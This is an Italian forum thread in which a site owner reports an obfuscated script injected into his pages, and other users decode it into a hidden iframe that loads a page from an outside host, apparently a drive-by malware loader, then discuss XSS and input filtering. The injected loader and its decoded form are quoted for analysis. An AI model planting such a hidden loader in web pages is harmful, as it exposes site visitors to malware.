script intruso nel mio sito [era:Cosa potrebbe essere?]

[dodo71]

Ciao raga, accedendo oggi, in un mio sito, mi compariva l'avviso dell'antivirus che mi bloccava un trojan horse, ed inoltre mi diceva che un controllo active x non era sicuro.

Guardando il codice, ho trovato la presenza di questa riga:
<script language=javascript>document.write(unescape('%3C%6 9%66%72%61%6D%65%20%73%72%63%3D"%68%74%74%70%3A%2F %2F%69%66%72%61%6D%65%73%69%74%65%2E%62%69%7A%2F%6 4%6C%2F%61%64%76%35%31%30%2E%70%68%70"%20%73%74%79 %6C%65%3D"%64%69%73%70%6C%61%79%3A%6E%6F%6E%65"%3E %3C%2F%69%66%72%61%6D%65%3E'));</script>

Come c'è finita dentro, io non l'ho mai inserita, significa che qualcuno è riuscito a manomettere il codice, possibile?

Ciao, Donatello.

[Salomè]

Pare che nella giornara di ieri vi sia stato un tentativo di hackeraggio. E' un tipo di hackeraggio oramai conosciuto da diverso tempo (inserice una riga di javascript), che sfrutta le pagine vulnerabili di un sito.Si chiamano "Cross-Site Scripting (XSS)" dovuto esclusivamente alla programmazione del sito web.

[Habanero]

in particolare la stringa decodificata crea nella pagina il seguente codice:

<iframe src="http://iframesite.biz/dl/adv510.php" style="display:none"></iframe>

[Teo80]

Ma scrivendo il codice dello script nel forum come hanno fatto dodo71 e habanero non c'è il rischio che il browser lo interpreti come script effettivo?

In che modo è possibile decodificare lo script di dodo71?

[Habanero]

Originariamente inviato da Teo80
Ma scrivendo il codice dello script nel forum come hanno fatto dodo71 e habanero non c'è il rischio che il browser lo interpreti come script effettivo?

No perchè il forum è protetto da tentativi di Cross Site Scripting (XSS). E' buona pratica filtrare lato server tutto l'input immesso da un utente in modo che non venga interpretato dal browser ma stampato tale e quale. E' la base della sicurezza di tutti i siti basati su linguaggi lato server.

Originariamente inviato da Teo80
In che modo è possibile decodificare lo script di dodo71?

puoi facilmente decodificare lo script modificandolo... basta sostiruire il document.write con un alert.

[Teo80]

Grazie.

Scrivendo delle pagine php o asp o jsp, in che modo si possono evitare questi problemi in cui è incappato dodo71?

[Habanero]

andiamo avanti qui.
http://forum.html.it/forum/showthrea...readid=1088044